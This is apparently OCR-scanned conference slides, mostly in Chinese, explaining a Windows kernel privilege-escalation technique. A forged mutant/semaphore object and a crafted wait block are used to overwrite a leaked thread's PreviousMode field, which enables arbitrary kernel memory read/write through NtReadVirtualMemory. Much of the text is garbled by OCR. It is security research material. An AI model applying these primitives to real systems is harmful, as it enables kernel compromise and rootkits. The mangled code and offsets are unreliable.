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ZEERRFXER, & SemaphoreObject

0: kd> dt nt!_ KMUTANT
+0x000 Header . _DISPATCHER_HEADER
+0x018 MutantListEntry : LIST_ENTRY
+0x028 OwnerThread :Ptr64 KTHREAD
+0x030 Abandoned : UChar
+0x031 ApcDisable : UChar

mutex->Header.Type = SemaphoreObject;
mutex->Header.SignalState = 1;
mutex->OwnerThread = Leaked KTHREAD;
mutex->ApcDisable = O;
mutex->MutantListEntry = Fake LIST;

mutex->Header.WaitListHead.Flink =

!
0: kd> dt nt!_KWAIT_BLOCK
+0x000 WaitListEntry : LIST ENTRY

+0x010 WaitType : UChar

+0x011 BlockState : UChar

+0x012 WaitKey . Uint2B

+0x014 SparelLong . Int4B

+0x018 Thread : Ptr64 KTHREAD
+0x018 NotificationQueue : Ptr64 KQUEUE
+0x020 Object . Ptr64 Void

+0x028 SparePtr . Ptr64 Void
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0: kd> dt nt!_ KWAIT_BLOCK
+0x000 WaitListEntry : LIST_ENTRY

+0x010 WaitType : UChar

+0x011 BlockState : UChar

+0x012 WaitKey . Uint2B

+0x014 SparelLong . Int4B

+0x018 Thread . Ptr64 KTHREAD
+0x018 NotificationQueue : Ptr64 KQUEUE
+0x020 Object . Ptr64 Void

+0x028 SparePtr . Ptr64 Void

waitBlock.WaitType = 3;

waitBlock.Thread = Leaked KTHREAD + Ox1EB,;

{EAWaitType = 1 [E)WaitListAR I —P2IE

Call to GetThreadContext(...) will make
KeWaitForSingleObject continue execution
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iRy Semaphore X% Ig15i1%45 KeReleaseMutex, B2 KeReleaseMutant Byl 388

_mm_storeu_si128({_ m128i =)Size, =(_ mi128i =) (1B + 48));
mm_storeu si128((_m128i x)&u19, x({_ m128i x)(x(_QWORD =) (U8 + 160) + 176i64));
KeReleaseMutex{ (PRKMUTEX) (W18 + 64), 0);

Check for current thread will be bypassed because we were able to leak it

vhB = akb;

w38 = a?2;

Y = KeGetCurrentThread();
ut = @;

ui = ail;

I

if { ={{struct _KTHREAD ==)u7 + L) 1t= . || =C{_BYTE =)u7 + 2} t= u1ﬂ—}DchuutinEF|t:tiue )
1
_InterlockedAnd{v/, BOxFFFFFF/F);
__writecr8{v8);
if ( =((_BYTE =)u7 + 48) )
23 = 128;
else
u23 = 1873741754 ;
RtlRaiseStatus{v23);
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BT 0% WaitBlock B WaitType (B4 3, WaitBlock 1$4% 15844 KiTryUnwaitThread
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KiTryUnwaitThread 2 — MR AR, BREBHNERERLEKRE

__int64 _ fastcall KiTryUnwaitThread{_ _int64 a1, _ inté4 waitBlock, __intéh a3, _QWORD =ak)

{

/# [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-""+" TO EXPAND]

thread = ={_QUWORD #){waitBlock + B6x18);

done :
result = ut-

*(_QWORD =){thread + Bx48) = Bib6L;

++*{_BYIE *){waltBlock + 17};
rFeturn result;

-
-

X% E A Leaked KTHREAD + Ox1EB

AR L& Leaked KTHREAD + Ox1EB + 0x40i% & 40!
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KTHREAD + 0x22B

0: kd> dt nt!_KTHREAD

+0x228 UserAffinity : GROUP_AFFINITY
+0x228 UserAffinityFill : [10] UChar
+0x232 PreviousMode : Char
+0x233 BasePriority : Char
+0x234 PriorityDecrement : Char
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PrewousMode

f2017 nutes to read - Contributors 4p @

When a user-mode application calls the Nt or Zw version of a native system services routine, the system call mechanism traps the
calling thread to kernel mode. To indicate that the parameter values originated in user mode, the trap handler for the system call sets
the PreviousMode field in the thread object of the caller to UserMode. The native system services routine checks the PreviousMode

field of the calling thread to determine whether the parameters are from a user-mode source

signed __int64 _ fastcall MiReadWriteUirtualHemory(ULONG_PTR ProcessHandle, unsigned __inté4 BaseAddress, un

{
/f [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+'" TO EXPAHD]

vh = Buffer;
v BasefAddress;
T} ProcessHandle;

currentThread = KeGetCurrentThread(); 4/\ S/a
if { currentThread->Previousiode )} - waﬁéﬁ7 1]

L1

if ( BaseAddress + HumberOfBytesToRead < BaseAddress
|| HumberOfBytesToRead + Buffer < Buftfer
|| BaseAddress + HumberOfBytesToRead > HMmHighestUserAddress
|| HumberOfBytesToRead + Buffer > MmHighestUserAddress )

1
return BxCO000ABSi6Nh;

¥
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T 8E15{F FANtReadVirtualMemory, #H—ZEANRFIZR Krootkit2IEF & HHY
mARERFENRIATFE—FHENENF LA
A] REHYZE BRHE I -

o ZDAERERREL
XtPreviousMode# {72585 56 11F
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